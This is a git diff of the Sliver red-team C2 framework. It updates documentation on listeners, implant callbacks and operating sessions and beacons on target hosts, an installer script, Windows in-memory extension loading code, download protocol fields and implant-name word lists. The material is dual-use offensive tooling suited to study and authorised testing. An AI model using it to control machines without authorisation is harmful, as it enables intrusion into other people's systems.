Before you can catch the shell, you'll first need to start a listener. You use the commands `mtls`, `http`, `https`, and `dns` to start listeners for each protocol (remember endpoints specified with `--http` can connect to a `https` listener). You can use the `jobs` command to view and manage listeners running in the background. Listeners support both sessions and beacons callbacks:
|
||||
|
||||
```
|
||||
sliver > mtls
|
||||
@@ -113,26 +140,101 @@ ID Name Protocol Port
|
||||
|
||||
In this example we're using Mutual TLS, the required certificates for setting up and securing this connection have already been generated in the background and the client certificate pair was embedded into the implant at compile-time. So to get a shell you just have to run the binary on the target.
|
||||
|
||||
### Interacting with Sessions
|
||||
|
||||
The `use` command will tab-complete session and beacon identifiers, but you can also type them out if you really want to (identifier prefixes are accepted). Additionally, running the `use` command with no arguments will enter an interactive menu to select from.
|
||||
|
||||
```
|
||||
[*] Session #1 PROPER_ANTHONY - 127.0.0.1:49929 (narvi.local) - darwin/amd64
|
||||
[*] Session 8ff2ce4c LONG_DRAMATURGE - [::1]:57154 (MacBook-Pro-6.local) - darwin/amd64 - Thu, 20 Jan 2022 15:45:10 CST
|
||||
|
||||
sliver > use 1
|
||||
sliver > use 8ff2ce4c
|
||||
|
||||
[*] Active sliver PROPER_ANTHONY (1)
|
||||
[*] Active session LONG_DRAMATURGE (8ff2ce4c-9c66-4cbc-b33c-2a56196536e6)
|
||||
|
||||
sliver (PROPER_ANTHONY) > ls
|
||||
sliver (LONG_DRAMATURGE) > ls
|
||||
|
||||
/Users/moloch/Desktop
|
||||
=====================
|
||||
.DS_Store 6.0 KiB
|
||||
.localized 0 B
|
||||
PROPER_ANTHONY 6.3 MiB
|
||||
LONG_DRAMATURGE 6.3 MiB
|
||||
```
|
||||
|
||||
If you're having problems getting callbacks please see our [troubleshooting guide](https://github.com/BishopFox/sliver/wiki/Troubleshooting#implant-troubleshooting), (TL;DR add the `--debug` flag when generating an implant).
|
||||
|
||||
### Interacting with Beacons
|
||||
|
||||
Upon initial execution the beacon will register itself with the C2 server and will show up under `beacons`, each instance of a beacon process will get its own id and this id is used for the lifetime of that process (i.e., across key renegotiation, etc). The "Next Check-in" value includes any random jitter (by default up to 30s), and you can also watch your beacons in real time using the `beacons watch` command. Remember to leverage tab complete for the uuid when using `use`:
|
||||
|
||||
```
|
||||
[*] Beacon 8c465643 RELATIVE_ADVERTISEMENT - 192.168.1.178:54701 (WIN-1TT1Q345B37) - windows/amd64 - Sat, 22 Jan 2022 14:40:55 CST
|
||||
|
||||
[server] sliver > beacons
|
||||
|
||||
ID Name Tasks Transport Remote Address Hostname Username Operating System Last Check-In Next Check-In
|
||||
========== ======================== ======= =========== ===================== ================= =============================== ================== ================ ===============
|
||||
8c465643 RELATIVE_ADVERTISEMENT 0/0 mtls 192.168.1.178:54701 WIN-1TT1Q345B37 WIN-1TT1Q345B37\Administrator windows/amd64 49.385459s ago 37.614549s
|
||||
|
||||
[server] sliver > use 8c465643-0e65-45f2-bb7e-acb3480de3cb
|
||||
|
||||
[*] Active beacon RELATIVE_ADVERTISEMENT (8c465643-0e65-45f2-bb7e-acb3480de3cb)
|
||||
|
||||
[server] sliver (RELATIVE_ADVERTISEMENT) >
|
||||
```
|
||||
|
||||
You should see a blue prompt indicating that we're interacting with a beacon as apposed to a session (red). Commands are executed the same way as a session, though not all commands are supported in beacon mode.
|
||||
|
||||
```
|
||||
[server] sliver (RELATIVE_ADVERTISEMENT) > ls
|
||||
|
||||
[*] Tasked beacon RELATIVE_ADVERTISEMENT (962978a6)
|
||||
|
||||
[+] RELATIVE_ADVERTISEMENT completed task 962978a6
|
||||
|
||||
C:\git
|
||||
======
|
||||
drwxrwxrwx a <dir> Wed Dec 22 15:34:56 -0600 2021
|
||||
...
|
||||
```
|
||||
|
||||
Tasks will execute in the order they were created (FIFO).
|
||||
|
||||
__⚠️ IMPORTANT:__ Tasks results will block until all tasks that were part of the same "check-in" have completed. If you have one short running and one long running tasks that are executed as part of the same check-in the short task results will wait for the results of the long running task. Consider executing long running tasks on their own interval. This includes tasks assigned by multiple operators, as the implant is not "aware" of the multiple operators.
|
||||
|
||||
You can view previous tasks executed by the active beacon using the `tasks` command:
|
||||
|
||||
```
|
||||
[server] sliver (RELATIVE_ADVERTISEMENT) > tasks
|
||||
|
||||
ID State Message Type Created Sent Completed
|
||||
========== =========== ============== =============================== =============================== ===============================
|
||||
90294ad2 completed Ls Sat, 22 Jan 2022 14:45:00 CST Sat, 22 Jan 2022 14:45:11 CST Sat, 22 Jan 2022 14:45:11 CST
|
||||
962978a6 completed Ls Sat, 22 Jan 2022 14:42:43 CST Sat, 22 Jan 2022 14:43:53 CST Sat, 22 Jan 2022 14:43:53 CST
|
||||
```
|
||||
|
||||
You can get the old output from the task using `tasks fetch` and selecting the task you want to see the output from. Note that in this case these task output is stored on the server, so operators in multiplayer mode can fetch output from tasks issued by other operators. However, operators will only see the automatic results from tasks that they executed. You can disable the automatic display of task results using the `settings` command.
|
||||
|
||||
#### Switching from Beacon Mode to Session Mode
|
||||
|
||||
You can use the `interactive` command to task a beacon to open an interactive session, with no arguments the current C2 channel will be used:
|
||||
|
||||
```
|
||||
[server] sliver (RELATIVE_ADVERTISEMENT) > interactive
|
||||
|
||||
[*] Using beacon's active C2 endpoint: mtls://192.168.1.150:8888
|
||||
[*] Tasked beacon RELATIVE_ADVERTISEMENT (3920e899)
|
||||
|
||||
[*] Session 223fac7e RELATIVE_ADVERTISEMENT - 192.168.1.178:54733 (WIN-1TT1Q345B37) - windows/amd64 - Sat, 22 Jan 2022 14:55:24 CST
|
||||
```
|
||||
|
||||
__⚠️ IMPORTANT:__ You can only open interactive sessions over C2 protocols that were compiled into the binary. For example, if you did not initially compile an implant with `--http` you won't be able to open an interactive session over HTTP. However, you can specify alternative _endpoints_ (such as a redirector on another domain) using the `interactive` command's flags.
|
||||
|
||||
When you're done using the interactive session use the `close` command to close the interactive session without killing the implant; the beacon will still perform check-ins while an interactive session is open.
|
||||
|
||||
|
||||
## Multiple Domains/Protocols
|
||||
|
||||
You can specify multiple domains and protocols during the generation process. Right now Sliver will attempt to use the most performant protocols first (MTLS -> HTTP(S) -> DNS) using subsequent domains/protocols when connections fail.
|
||||
You can specify multiple domains and protocols during the generation process. Right now Sliver will attempt to use the most performant protocols first (MTLS -> WG -> HTTP(S) -> DNS) using subsequent domains/protocols when connections fail.
|
||||
|
||||
```
|
||||
sliver > generate --mtls example.com --http foobar.com --dns 1.lil-peep.rip
|
||||
@@ -140,4 +242,13 @@ sliver > generate --mtls example.com --http foobar.com --dns 1.lil-peep.rip
|
||||
|
||||
Eventually we'll add a feature to manually specify the fallback protocols, or you can add this feature and send up a PR :).
|
||||
|
||||
## What Next?
|
||||
|
||||
Most commands have a `--help` and support tab complete, you may also find the following wiki articles of interest:
|
||||
|
||||
* [Armory](https://github.com/BishopFox/sliver/wiki/Armory)
|
||||
* [Stagers](https://github.com/BishopFox/sliver/wiki/Stagers)
|
||||
* [Port Forwarding](https://github.com/BishopFox/sliver/wiki/Port-Forwarding)
|
||||
* [Reverse SOCKS](https://github.com/BishopFox/sliver/wiki/Reverse-SOCKS)
|
||||
* [BOF/COFF Support](https://github.com/BishopFox/sliver/wiki/BOF-&-COFF-Support)
|
||||
|
||||
+6
-28
@@ -10,13 +10,13 @@ fi
|
||||
|
||||
if [ -n "$(command -v yum)" ]
|
||||
then
|
||||
yum -y install zip unzip gnupg curl gcc gcc-c++ make mingw64-gcc
|
||||
yum -y install gnupg curl gcc gcc-c++ make mingw64-gcc
|
||||
fi
|
||||
|
||||
if [ -n "$(command -v apt-get)" ]
|
||||
then
|
||||
DEBIAN_FRONTEND=noninteractive apt-get install -yqq \
|
||||
zip unzip gpg curl build-essential \
|
||||
gpg curl build-essential \
|
||||
mingw-w64 binutils-mingw-w64 g++-mingw-w64
|
||||
fi
|
||||
|
||||
@@ -32,12 +32,6 @@ then
|
||||
echo "awk could not be found"
|
||||
exit 1
|
||||
fi
|
||||
# Zip
|
||||
if ! command -v zip &> /dev/null
|
||||
then
|
||||
echo "zip could not be found"
|
||||
exit 1
|
||||
fi
|
||||
# GPG
|
||||
if ! command -v gpg &> /dev/null
|
||||
then
|
||||
@@ -106,34 +100,25 @@ EOF
|
||||
# Download and Unpack Sliver Server
|
||||
#
|
||||
ARTIFACTS=$(curl -s "https://api.github.com/repos/BishopFox/sliver/releases/latest" | awk -F '"' '/browser_download_url/{print $4}')
|
||||
SLIVER_SERVER_ZIP='sliver-server_linux.zip'
|
||||
SLIVER_CLIENT_ZIP='sliver-client_linux.zip'
|
||||
SLIVER_SERVER='sliver-server'
|
||||
SLIVER_CLIENT='sliver-client'
|
||||
|
||||
|
||||
for URL in $ARTIFACTS
|
||||
do
|
||||
if [[ "$URL" == *"$SLIVER_SERVER_ZIP"* ]]; then
|
||||
if [[ "$URL" == *"$SLIVER_SERVER"* ]]; then
|
||||
echo "Downloading $URL"
|
||||
curl --silent -L $URL --output $(basename $URL)
|
||||
fi
|
||||
if [[ "$URL" == *"$SLIVER_CLIENT_ZIP"* ]]; then
|
||||
if [[ "$URL" == *"$SLIVER_CLIENT"* ]]; then
|
||||
echo "Downloading $URL"
|
||||
curl --silent -L $URL --output $(basename $URL)
|
||||
fi
|
||||
done
|
||||
|
||||
echo "Verifying signatures ..."
|
||||
gpg --default-key $SLIVER_GPG_KEY_ID --verify /root/$SLIVER_SERVER_ZIP.sig /root/$SLIVER_SERVER_ZIP
|
||||
gpg --default-key $SLIVER_GPG_KEY_ID --verify /root/$SLIVER_CLIENT_ZIP.sig /root/$SLIVER_CLIENT_ZIP
|
||||
|
||||
if test -f "/root/$SLIVER_SERVER_ZIP"; then
|
||||
unzip -o /root/$SLIVER_SERVER_ZIP -d /root
|
||||
rm -f /root/$SLIVER_SERVER_ZIP
|
||||
else
|
||||
exit 2
|
||||
fi
|
||||
gpg --default-key $SLIVER_GPG_KEY_ID --verify /root/$SLIVER_SERVER.sig /root/$SLIVER_SERVER
|
||||
gpg --default-key $SLIVER_GPG_KEY_ID --verify /root/$SLIVER_CLIENT.sig /root/$SLIVER_CLIENT
|
||||
|
||||
if test -f "/root/$SLIVER_SERVER"; then
|
||||
chmod 755 /root/$SLIVER_SERVER
|
||||
@@ -142,13 +127,6 @@ else
|
||||
exit 3
|
||||
fi
|
||||
|
||||
if test -f "/root/$SLIVER_CLIENT_ZIP"; then
|
||||
unzip -o /root/$SLIVER_CLIENT_ZIP -d /root
|
||||
rm -f /root/$SLIVER_CLIENT_ZIP
|
||||
else
|
||||
exit 2
|
||||
fi
|
||||
|
||||
if test -f "/root/$SLIVER_CLIENT"; then
|
||||
chmod 755 /root/$SLIVER_CLIENT
|
||||
cp -vv /root/$SLIVER_CLIENT /usr/local/bin/sliver
|
||||
|
||||
@@ -64,6 +64,7 @@ require (
|
||||
github.com/moloch--/memmod v0.0.0-20211120144554-8b37cc654945
|
||||
github.com/shirou/gopsutil/v3 v3.21.10
|
||||
github.com/things-go/go-socks5 v0.0.3-0.20210722055343-24af464efe43
|
||||
golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1
|
||||
modernc.org/sqlite v1.14.3
|
||||
)
|
||||
|
||||
@@ -107,7 +108,6 @@ require (
|
||||
github.com/thedevsaddam/gojsonq/v2 v2.5.2 // indirect
|
||||
golang.org/x/mod v0.3.0 // indirect
|
||||
golang.org/x/oauth2 v0.0.0-20200107190931-bf48bf16ab8d // indirect
|
||||
golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1 // indirect
|
||||
golang.org/x/time v0.0.0-20210220033141-f8bda1e9f3ba // indirect
|
||||
golang.org/x/tools v0.1.0 // indirect
|
||||
golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1 // indirect
|
||||
|
||||
@@ -37,15 +37,15 @@ const (
|
||||
)
|
||||
|
||||
type WindowsExtension struct {
|
||||
id string
|
||||
data []byte
|
||||
module *memmod.Module
|
||||
arch string
|
||||
init string
|
||||
onFinish func([]byte)
|
||||
serverStore bool
|
||||
id string
|
||||
data []byte
|
||||
module *memmod.Module
|
||||
arch string
|
||||
init string
|
||||
onFinish func([]byte)
|
||||
}
|
||||
|
||||
// NewWindowsExtension - Load a new windows extension
|
||||
func NewWindowsExtension(data []byte, id string, arch string, init string) *WindowsExtension {
|
||||
return &WindowsExtension{
|
||||
id: id,
|
||||
@@ -55,14 +55,17 @@ func NewWindowsExtension(data []byte, id string, arch string, init string) *Wind
|
||||
}
|
||||
}
|
||||
|
||||
// GetID - Get the extension ID
|
||||
func (w *WindowsExtension) GetID() string {
|
||||
return w.id
|
||||
}
|
||||
|
||||
// GetArch - Get the extension architecture
|
||||
func (w *WindowsExtension) GetArch() string {
|
||||
return w.arch
|
||||
}
|
||||
|
||||
// Load - Load the extension into memory
|
||||
func (w *WindowsExtension) Load() error {
|
||||
var err error
|
||||
if len(w.data) == 0 {
|
||||
@@ -86,6 +89,7 @@ func (w *WindowsExtension) Load() error {
|
||||
return nil
|
||||
}
|
||||
|
||||
// Call - Call an extension export
|
||||
func (w *WindowsExtension) Call(export string, arguments []byte, onFinish func([]byte)) error {
|
||||
var (
|
||||
argumentsPtr uintptr
|
||||
|
||||
@@ -602,20 +602,17 @@ func getPrivsHandler(data []byte, resp RPCResponse) {
|
||||
|
||||
func registerExtensionHandler(data []byte, resp RPCResponse) {
|
||||
registerReq := &sliverpb.RegisterExtensionReq{}
|
||||
|
||||
err := proto.Unmarshal(data, registerReq)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
ext := extension.NewWindowsExtension(registerReq.Data, registerReq.Name, registerReq.OS, registerReq.Init)
|
||||
extension.Add(ext)
|
||||
err = ext.Load()
|
||||
registerResp := &sliverpb.RegisterExtension{
|
||||
Response: &commonpb.Response{},
|
||||
}
|
||||
registerResp := &sliverpb.RegisterExtension{Response: &commonpb.Response{}}
|
||||
if err != nil {
|
||||
registerResp.Response.Err = err.Error()
|
||||
} else {
|
||||
extension.Add(ext)
|
||||
}
|
||||
data, err = proto.Marshal(registerResp)
|
||||
resp(data, err)
|
||||
@@ -623,15 +620,12 @@ func registerExtensionHandler(data []byte, resp RPCResponse) {
|
||||
|
||||
func callExtensionHandler(data []byte, resp RPCResponse) {
|
||||
callReq := &sliverpb.CallExtensionReq{}
|
||||
|
||||
err := proto.Unmarshal(data, callReq)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
callResp := &sliverpb.CallExtension{
|
||||
Response: &commonpb.Response{},
|
||||
}
|
||||
callResp := &sliverpb.CallExtension{Response: &commonpb.Response{}}
|
||||
gotOutput := false
|
||||
err = extension.Run(callReq.Name, callReq.Export, callReq.Args, func(out []byte) {
|
||||
gotOutput = true
|
||||
|
||||
+819
-782
File diff suppressed because it is too large.
Load diff
@@ -215,6 +215,8 @@ message Mkdir {
|
||||
|
||||
message DownloadReq {
|
||||
string Path = 1;
|
||||
int64 Start = 2;
|
||||
int64 Stop = 3;
|
||||
|
||||
commonpb.Request Request = 9;
|
||||
}
|
||||
@@ -223,7 +225,9 @@ message Download {
|
||||
string Path = 1;
|
||||
string Encoder = 2;
|
||||
bool Exists = 3;
|
||||
bytes Data = 4;
|
||||
int64 Start = 4;
|
||||
int64 Stop = 5;
|
||||
bytes Data = 6;
|
||||
|
||||
commonpb.Response Response = 9;
|
||||
}
|
||||
|
||||
@@ -64,7 +64,6 @@ late
|
||||
long
|
||||
modern
|
||||
old
|
||||
old-fashioned
|
||||
quick
|
||||
rapid
|
||||
short
|
||||
@@ -83,7 +82,6 @@ cooing
|
||||
deafening
|
||||
faint
|
||||
harsh
|
||||
high-pitched
|
||||
hissing
|
||||
hushed
|
||||
husky
|
||||
@@ -237,7 +235,7 @@ friendly
|
||||
funny
|
||||
gentle
|
||||
glorious
|
||||
good
|
||||
good
|
||||
happy
|
||||
healthy
|
||||
helpful
|
||||
@@ -463,7 +461,6 @@ broad
|
||||
joint
|
||||
formal
|
||||
limited
|
||||
conservative
|
||||
lovely
|
||||
usual
|
||||
ltd
|
||||
@@ -471,7 +468,6 @@ unable
|
||||
rural
|
||||
initial
|
||||
substantial
|
||||
christian
|
||||
bright
|
||||
average
|
||||
leading
|
||||
@@ -484,7 +480,6 @@ working
|
||||
overall
|
||||
female
|
||||
afraid
|
||||
democratic
|
||||
growing
|
||||
sufficient
|
||||
scientific
|
||||
@@ -508,7 +503,6 @@ dry
|
||||
historical
|
||||
thin
|
||||
daily
|
||||
southern
|
||||
increasing
|
||||
wild
|
||||
alone
|
||||
@@ -522,14 +516,10 @@ upper
|
||||
apparent
|
||||
tall
|
||||
busy
|
||||
bloody
|
||||
prepared
|
||||
russian
|
||||
moral
|
||||
careful
|
||||
clean
|
||||
attractive
|
||||
japanese
|
||||
vital
|
||||
thick
|
||||
alternative
|
||||
@@ -565,13 +555,11 @@ fundamental
|
||||
odd
|
||||
crucial
|
||||
inner
|
||||
used
|
||||
criminal
|
||||
contemporary
|
||||
sharp
|
||||
sick
|
||||
near
|
||||
roman
|
||||
massive
|
||||
unique
|
||||
secondary
|
||||
@@ -621,7 +609,6 @@ keen
|
||||
flat
|
||||
silent
|
||||
indian
|
||||
video-taped
|
||||
worried
|
||||
pale
|
||||
statutory
|
||||
@@ -645,7 +632,6 @@ rapid
|
||||
adequate
|
||||
fixed
|
||||
sweet
|
||||
administrative
|
||||
wooden
|
||||
remarkable
|
||||
comprehensive
|
||||
@@ -675,8 +661,6 @@ advanced
|
||||
extreme
|
||||
classical
|
||||
fit
|
||||
favourite
|
||||
socialist
|
||||
widespread
|
||||
confident
|
||||
straight
|
||||
@@ -699,7 +683,6 @@ satisfied
|
||||
conscious
|
||||
developing
|
||||
strategic
|
||||
holy
|
||||
smooth
|
||||
dominant
|
||||
remote
|
||||
@@ -731,8 +714,6 @@ fat
|
||||
tight
|
||||
monetary
|
||||
round
|
||||
psychological
|
||||
violent
|
||||
unemployed
|
||||
inevitable
|
||||
junior
|
||||
@@ -762,7 +743,6 @@ steady
|
||||
classic
|
||||
equivalent
|
||||
intellectual
|
||||
victorian
|
||||
level
|
||||
ultimate
|
||||
creative
|
||||
@@ -816,11 +796,8 @@ liable
|
||||
multiple
|
||||
ruling
|
||||
curious
|
||||
arab
|
||||
sole
|
||||
jewish
|
||||
managing
|
||||
pregnant
|
||||
latin
|
||||
nearby
|
||||
exact
|
||||
@@ -833,7 +810,6 @@ electoral
|
||||
urgent
|
||||
presidential
|
||||
controversial
|
||||
oral
|
||||
everyday
|
||||
encouraging
|
||||
organic
|
||||
@@ -853,9 +829,7 @@ disappointed
|
||||
frightened
|
||||
full-time
|
||||
gastric
|
||||
capitalist
|
||||
romantic
|
||||
naked
|
||||
reluctant
|
||||
magnificent
|
||||
convenient
|
||||
@@ -886,7 +860,6 @@ aggressive
|
||||
spare
|
||||
painful
|
||||
abstract
|
||||
asian
|
||||
associated
|
||||
legislative
|
||||
monthly
|
||||
@@ -901,13 +874,11 @@ ridiculous
|
||||
amazing
|
||||
comparable
|
||||
successive
|
||||
working-class
|
||||
realistic
|
||||
back
|
||||
decent
|
||||
unnecessary
|
||||
flying
|
||||
fucking
|
||||
random
|
||||
influential
|
||||
dull
|
||||
@@ -941,8 +912,6 @@ delicate
|
||||
mild
|
||||
occupational
|
||||
excessive
|
||||
progressive
|
||||
iraqi
|
||||
exceptional
|
||||
integrated
|
||||
striking
|
||||
@@ -952,7 +921,6 @@ harsh
|
||||
combined
|
||||
fierce
|
||||
handsome
|
||||
characteristic
|
||||
chronic
|
||||
compulsory
|
||||
interim
|
||||
@@ -979,7 +947,6 @@ kind
|
||||
advisory
|
||||
hostile
|
||||
precious
|
||||
gay
|
||||
accessible
|
||||
determined
|
||||
excited
|
||||
@@ -988,8 +955,6 @@ provincial
|
||||
smart
|
||||
endless
|
||||
isolated
|
||||
post-war
|
||||
drunk
|
||||
geographical
|
||||
like
|
||||
dynamic
|
||||
@@ -1036,7 +1001,6 @@ polish
|
||||
israeli
|
||||
developed
|
||||
profound
|
||||
representative
|
||||
enthusiastic
|
||||
dreadful
|
||||
rigid
|
||||
@@ -1070,7 +1034,6 @@ bored
|
||||
charming
|
||||
minimal
|
||||
mobile
|
||||
turkish
|
||||
orange
|
||||
rear
|
||||
passive
|
||||
@@ -1113,7 +1076,6 @@ useless
|
||||
semantic
|
||||
embarrassed
|
||||
inherent
|
||||
philosophical
|
||||
deliberate
|
||||
awake
|
||||
variable
|
||||
@@ -1210,14 +1172,12 @@ cheerful
|
||||
subjective
|
||||
forward
|
||||
surviving
|
||||
exotic
|
||||
purple
|
||||
cautious
|
||||
visiting
|
||||
aggregate
|
||||
ethical
|
||||
protestant
|
||||
teenage
|
||||
large-scale
|
||||
dying
|
||||
disastrous
|
||||
@@ -1275,19 +1235,16 @@ imaginative
|
||||
governing
|
||||
accepted
|
||||
vocational
|
||||
palestinian
|
||||
mighty
|
||||
puzzled
|
||||
worldwide
|
||||
handicapped
|
||||
organisational
|
||||
sunny
|
||||
eldest
|
||||
eventual
|
||||
spontaneous
|
||||
vivid
|
||||
rude
|
||||
nineteenth-century
|
||||
faithful
|
||||
ministerial
|
||||
innovative
|
||||
@@ -1316,8 +1273,7 @@ famous
|
||||
fragile
|
||||
helpful
|
||||
helpless
|
||||
important
|
||||
impossible
|
||||
important
|
||||
innocent
|
||||
inquisitive
|
||||
modern
|
||||
@@ -1337,7 +1293,7 @@ uninterested
|
||||
wandering
|
||||
wild
|
||||
wrong
|
||||
adorable
|
||||
adorable
|
||||
alert
|
||||
average
|
||||
beautiful
|
||||
@@ -1417,8 +1373,6 @@ nasty
|
||||
new
|
||||
nice
|
||||
nosy
|
||||
nutty
|
||||
nutritious
|
||||
odd
|
||||
orange
|
||||
ordinary
|
||||
|
||||
@@ -18150,7 +18150,6 @@ BOYSENBERRIES
|
||||
BOYSENBERRY
|
||||
BOZO
|
||||
BOZOS
|
||||
BRA
|
||||
BRABBLE
|
||||
BRABBLED
|
||||
BRABBLER
|
||||
@@ -81668,7 +81667,6 @@ JETWAY
|
||||
JETWAYS
|
||||
JEU
|
||||
JEUX
|
||||
JEW
|
||||
JEWED
|
||||
JEWEL
|
||||
JEWELED
|
||||
@@ -81692,7 +81690,6 @@ JEWELWEEDS
|
||||
JEWFISH
|
||||
JEWFISHES
|
||||
JEWING
|
||||
JEWS
|
||||
JEZAIL
|
||||
JEZAILS
|
||||
JEZEBEL
|
||||
|
||||
+1
-141
@@ -17,7 +17,6 @@ account
|
||||
accountant
|
||||
achiever
|
||||
acid
|
||||
acknowledgment
|
||||
acoustic
|
||||
acoustics
|
||||
acrylic
|
||||
@@ -33,9 +32,7 @@ addiction
|
||||
addition
|
||||
address
|
||||
adjustment
|
||||
administration
|
||||
adrenalin
|
||||
adult
|
||||
adrenalinz
|
||||
adulthood
|
||||
advance
|
||||
advancement
|
||||
@@ -406,9 +403,6 @@ bloom
|
||||
bloomers
|
||||
blossom
|
||||
blouse
|
||||
blow
|
||||
blowgun
|
||||
blowhole
|
||||
blue
|
||||
blueberry
|
||||
boar
|
||||
@@ -437,10 +431,7 @@ bookend
|
||||
booklet
|
||||
booster
|
||||
boot
|
||||
bootee
|
||||
bootie
|
||||
boots
|
||||
booty
|
||||
border
|
||||
bore
|
||||
bosom
|
||||
@@ -464,8 +455,6 @@ box
|
||||
boxer
|
||||
boxspring
|
||||
boy
|
||||
boyfriend
|
||||
bra
|
||||
brace
|
||||
bracelet
|
||||
bracket
|
||||
@@ -483,7 +472,6 @@ breadcrumb
|
||||
break
|
||||
breakfast
|
||||
breakpoint
|
||||
breast
|
||||
breastplate
|
||||
breath
|
||||
breeze
|
||||
@@ -492,9 +480,7 @@ brick
|
||||
bricklaying
|
||||
bridge
|
||||
brief
|
||||
briefs
|
||||
brilliant
|
||||
british
|
||||
broad
|
||||
broccoli
|
||||
brochure
|
||||
@@ -509,7 +495,6 @@ brood
|
||||
brook
|
||||
broom
|
||||
brother
|
||||
brother-in-law
|
||||
brow
|
||||
brown
|
||||
brush
|
||||
@@ -535,9 +520,6 @@ bull-fighter
|
||||
bumper
|
||||
bun
|
||||
bunch
|
||||
bungalow
|
||||
bunghole
|
||||
bunkhouse
|
||||
burglar
|
||||
burlesque
|
||||
burn
|
||||
@@ -586,7 +568,6 @@ campanile
|
||||
can
|
||||
canal
|
||||
cancel
|
||||
cancer
|
||||
candelabra
|
||||
candidate
|
||||
candle
|
||||
@@ -658,7 +639,6 @@ cauliflower
|
||||
cause
|
||||
caution
|
||||
cave
|
||||
c-clamp
|
||||
cd
|
||||
ceiling
|
||||
celebration
|
||||
@@ -703,7 +683,6 @@ change
|
||||
channel
|
||||
chaos
|
||||
chap
|
||||
chapel
|
||||
chapter
|
||||
character
|
||||
chard
|
||||
@@ -713,14 +692,11 @@ charlatan
|
||||
charles
|
||||
charm
|
||||
chart
|
||||
chastity
|
||||
chasuble
|
||||
chateau
|
||||
chauffeur
|
||||
chauvinist
|
||||
check
|
||||
checkroom
|
||||
cheek
|
||||
cheetah
|
||||
chef
|
||||
chemical
|
||||
@@ -729,8 +705,6 @@ cheque
|
||||
cherries
|
||||
cherry
|
||||
chess
|
||||
chest
|
||||
chick
|
||||
chicken
|
||||
chicory
|
||||
chief
|
||||
@@ -745,23 +719,18 @@ chin
|
||||
chino
|
||||
chip
|
||||
chipmunk
|
||||
chit-chat
|
||||
chivalry
|
||||
chive
|
||||
chocolate
|
||||
choice
|
||||
choker
|
||||
chop
|
||||
chopstick
|
||||
chord
|
||||
chowder
|
||||
chrome
|
||||
chromolithograph
|
||||
chronograph
|
||||
chronometer
|
||||
chub
|
||||
chug
|
||||
church
|
||||
churn
|
||||
cicada
|
||||
cigarette
|
||||
@@ -846,8 +815,6 @@ collection
|
||||
college
|
||||
collision
|
||||
colloquia
|
||||
colon
|
||||
colonisation
|
||||
colony
|
||||
color
|
||||
colt
|
||||
@@ -857,8 +824,6 @@ comb
|
||||
combat
|
||||
combination
|
||||
combine
|
||||
comfort
|
||||
comfortable
|
||||
comic
|
||||
comma
|
||||
command
|
||||
@@ -1017,7 +982,6 @@ credenza
|
||||
credit
|
||||
creditor
|
||||
creek
|
||||
creme brulee
|
||||
crest
|
||||
crew
|
||||
crib
|
||||
@@ -1036,8 +1000,6 @@ croissant
|
||||
crook
|
||||
crop
|
||||
cross
|
||||
cross-contamination
|
||||
cross-stitch
|
||||
crotch
|
||||
croup
|
||||
crow
|
||||
@@ -1046,16 +1008,13 @@ crown
|
||||
crude
|
||||
crush
|
||||
cry
|
||||
crystallography
|
||||
cub
|
||||
cuckoo
|
||||
cucumber
|
||||
cuff-links
|
||||
cultivar
|
||||
cultivator
|
||||
culture
|
||||
culvert
|
||||
cummerbund
|
||||
cup
|
||||
cupboard
|
||||
cupcake
|
||||
@@ -1085,7 +1044,6 @@ cymbals
|
||||
cynic
|
||||
cyst
|
||||
cytoplasm
|
||||
dad
|
||||
daffodil
|
||||
dagger
|
||||
dahlia
|
||||
@@ -1105,8 +1063,6 @@ dashboard
|
||||
data
|
||||
database
|
||||
date
|
||||
daughter
|
||||
david
|
||||
day
|
||||
daybed
|
||||
dead
|
||||
@@ -1182,7 +1138,6 @@ diamond
|
||||
diaphragm
|
||||
diarist
|
||||
dibble
|
||||
dickey
|
||||
dictaphone
|
||||
diction
|
||||
dictionary
|
||||
@@ -1221,7 +1176,6 @@ discovery
|
||||
discrepancy
|
||||
discussion
|
||||
disease
|
||||
disembodiment
|
||||
disengagement
|
||||
disguise
|
||||
disgust
|
||||
@@ -1427,7 +1381,6 @@ essay
|
||||
establishment
|
||||
estate
|
||||
estimate
|
||||
estrogen
|
||||
estuary
|
||||
ethernet
|
||||
ethics
|
||||
@@ -1453,7 +1406,6 @@ excuse
|
||||
executor
|
||||
exercise
|
||||
exhaust
|
||||
ex-husband
|
||||
exile
|
||||
existence
|
||||
exit
|
||||
@@ -1507,11 +1459,6 @@ fanny
|
||||
fanny-pack
|
||||
farm
|
||||
farmer
|
||||
fascia
|
||||
fat
|
||||
father
|
||||
father-in-law
|
||||
fatigues
|
||||
faucet
|
||||
fault
|
||||
fawn
|
||||
@@ -1520,7 +1467,6 @@ fear
|
||||
feast
|
||||
feather
|
||||
feature
|
||||
fedelini
|
||||
fedora
|
||||
fee
|
||||
feed
|
||||
@@ -1528,8 +1474,6 @@ feedback
|
||||
feel
|
||||
feeling
|
||||
feet
|
||||
felony
|
||||
female
|
||||
fen
|
||||
fence
|
||||
fencing
|
||||
@@ -1565,7 +1509,6 @@ finish
|
||||
finisher
|
||||
fir
|
||||
fire
|
||||
fireman
|
||||
fireplace
|
||||
firewall
|
||||
fish
|
||||
@@ -1589,7 +1532,6 @@ flavor
|
||||
flax
|
||||
fleck
|
||||
fleece
|
||||
flesh
|
||||
flight
|
||||
flintlock
|
||||
flip-flops
|
||||
@@ -1726,7 +1668,6 @@ geese
|
||||
gelding
|
||||
gem
|
||||
gemsbok
|
||||
gender
|
||||
gene
|
||||
general
|
||||
genetics
|
||||
@@ -1796,12 +1737,6 @@ grain
|
||||
gram
|
||||
grammar
|
||||
grand
|
||||
granddaughter
|
||||
grandfather
|
||||
grandmom
|
||||
grandmother
|
||||
grandson
|
||||
granny
|
||||
grape
|
||||
grapefruit
|
||||
graph
|
||||
@@ -1813,9 +1748,6 @@ gratitude
|
||||
gray
|
||||
grease
|
||||
great
|
||||
great-grandfather
|
||||
great-grandmother
|
||||
greek
|
||||
green
|
||||
greenhouse
|
||||
grenade
|
||||
@@ -1845,11 +1777,7 @@ gum
|
||||
gumshoes
|
||||
gun
|
||||
gutter
|
||||
guy
|
||||
gym
|
||||
gymnast
|
||||
gymnastics
|
||||
gynaecology
|
||||
gyro
|
||||
habit
|
||||
hacienda
|
||||
@@ -1859,20 +1787,15 @@ hail
|
||||
hair
|
||||
haircut
|
